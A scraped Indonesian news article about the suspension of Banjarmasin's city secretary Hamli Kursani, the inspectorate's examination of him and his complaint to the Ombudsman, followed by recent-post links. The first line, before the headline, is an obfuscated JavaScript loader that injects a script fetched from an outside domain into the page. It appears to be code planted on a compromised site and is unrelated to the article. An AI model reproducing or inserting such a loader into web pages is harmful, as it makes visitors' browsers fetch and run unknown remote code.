(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Pencopotan Hamli dari Sekdako Banjarmasin Dilatari Konflik dengan Walikota?


Sementara itu, Kepala Inspektorat Kota Banjarmasin James Fudhoil Yamin mengatakan apa yang dilaksanakan tadi merupakan tahap kedua. Sebelumnya, inspektorat telah melakukan penguatan bukti dari saksi-saksi sekitar 7 orang.

Fudhoil enggan membeber materi pemeriksaan karena bersifat rahasia. Dia hanya mengatakan, ada sembilan pertanyaan yang disampaikan kepada Hamli. “Setelah ini Inspektorat selanjutnya akan melakukan klarifikasi, kompilasi, dan melaksanakan kajian kembali untuk mencocokkan keterangan saksi dan terduga,” katanya.

Menurut Fudhoil, dari hasil rangkaian pemeriksaaan Hamli Kursani, nantinya akan dirangkum dalam laporan hasil pemeriksaan (LHP), dianalisa, digali lagi, dan dianaliasa lagi. Inspektorat kemudian menyusun LHP yang dilaporkan ke wali kota. “Pemeriksaan ini paling lama 45 hari harus sudah selesai,” katanya.

Lapor Ombudsman

Sebelumnya, Ketua Ombudsman Nurhalis Majid yang sudah menerima pengaduan resmi dari Sekda non aktif Hamli Kursani menyatakan menyatakan Ombudsman Kalsel juga akan berkonsultasi dengan Ombudsman Pusat agar kasus ini ditangani dengan benar.

Ada beberapa hal yang harus dicermati dalam kasus pencopotan Hamli. Wali Kota Banjarmasin Ibnu Sina menonaktifkan sekda agar Inspektoriat itu leluasa dalam melakukan tugasnya. Pejabat tertinggi dan pangkat tertinggi itu sekda. “Sementara Kepala Inspektoriat itu kan masih di bawah sekda. Saat di jabatan di bawah sekda, maka agak sungkan memeriksa sekda yang jabatanya itu lebih tinggi,” katanya.

Ditambahkanya, proses untuk menjadi sekda itu prosesnya sangat panjang. Semestinya ketika memberhentikan sementara itu tak melalui tahapan yang tidak sederhana. Jabatan sekdako itu diperoleh melalui proses seleksi panjang dan tidak sederhana. “Kami akan mengkonsultasikan ke Ombudsman Jakarta karena yang melaporkan dugaan mal adminitrasi levelnya seorang sekdako,” ujarnya.

Apalagi, pemberhentian sementara itu sifatnya masih menggantung dan belum bisa dilihat sebagai keputusan hukum. Kasus pemberhentian sementara itu seorang sekda ini yang pertama di Ombudsman Kalsel. Dulu, Ombudsman Kalsel pernah menangani laporan seorang sekda yang diberhentikan oleh pimpinannya. “Kasunya selesai sekda tersebut selesai setelah kita tangani,” katanya.

Di dalam SK Walikota Banjarmasin yang ditandatangani Ibnu Sina tersebut, disebutkan bahwa Hamli Kursani dengan pangkat pembina utama madya IVd, diduga telah melanggar UU Aparatur Sipil Negara (ASN) Nomor 5 Tahun 2014 Pasal 3 huruf (b), Pasal 4 huruf (d), huruf (g) dan huruf (k) dan Pasal 5 ayat (2) huruf (i) dan huruf (h), serta Pasal 107 huruf (c) angka 5 Peraturan Pemerintah (PP) Nomor 11 Tahun 2017 tentang Manajemen PNS.

Pijakan hukum pembebasan sementara itu dari bunyi SK Walikota Banjarmasin adalah Pasal 27 ayat (1) PP Nomor 53 Tahun 2010 tentang Disiplin Pegawai Negeri Sipil untuk kemudahan proses pemeriksaan khusus dari Inspektorat terhadap Hamli Kursani.

Di sisi lain, Walikota Banjarmasin Ibnu Sina saat dikonfirmasi memilih tidak berkomentar terkait kasus ini. “Sudah lewat Kabag Humas,” katanya.

Dalam keterangan pers yang disampaikan Kabag Humas Pemko Banjarmasin Yusna, Rabu (11/4) lalu, dijelaskan pemberhentian sementara Hamli Kursani terkait alasan indisipliner. Namun Yusna juga tidak merinci lebih lanjut indisipliner seperti apa yang telah dilakukan Hamli, sehingga harus dicopot dari jabatannya. “Pemko tidak bisa menyampaikan lebih rinci mengenai kesalahan indisipliner yang telah dilakukan oleh Sekdako Hamli Kursani tersebut, karena ini bukan wewenang kami. Ini kewenangann inpektoriat daerah,” jelasnya.(ammar)

Reporter: Ammar
Editor: Chell

Page: 1 2

Desy Arfianty

Recent Posts

Dari Banua Creative Festival, Kalsel Incar Tuan Rumah Ekrafnas 2025

KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More

18 jam ago

UMK Banjarmasin Naik Menjadi Rp3,59 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More

18 jam ago

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

1 hari ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

1 hari ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

2 hari ago

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

2 hari ago

This website uses cookies.